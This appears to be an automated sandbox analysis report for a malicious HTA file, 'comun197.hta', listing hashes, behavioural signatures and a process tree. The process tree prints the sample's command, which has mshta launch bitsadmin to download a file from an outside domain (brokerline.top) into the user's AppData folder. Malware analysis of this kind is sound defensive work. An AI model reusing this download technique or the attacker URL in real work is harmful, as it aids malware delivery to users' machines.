Analysis

  • max time kernel
    4294178s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7-20220311-en
  • submitted
    17/03/2022, 12:28

General

  • Target
    comun197.hta
  • Size 10KB
  • Sample220317-pnb4csdfd7
  • SHA256 857cf00c7268f598e89a94462fb82895ef220926078466917356f7b2e46ee94b
  • MD5 SHA1 SHA512
Score
3/10

Malware Config

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Download via BitsAdmin 1 TTPs 1 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\comun197.hta"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1860
    • C:\Windows\SysWOW64\bitsadmin.exe
      "C:\Windows\System32\bitsadmin.exe" /transfer 8 http://brokerline.top/readme.txt C:\Users\Admin\AppData\Roaming\readme.txt
      2⤵
      • Download via BitsAdmin
      PID:552

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/1860-54-0x0000000075E61000-0x0000000075E63000-memory.dmp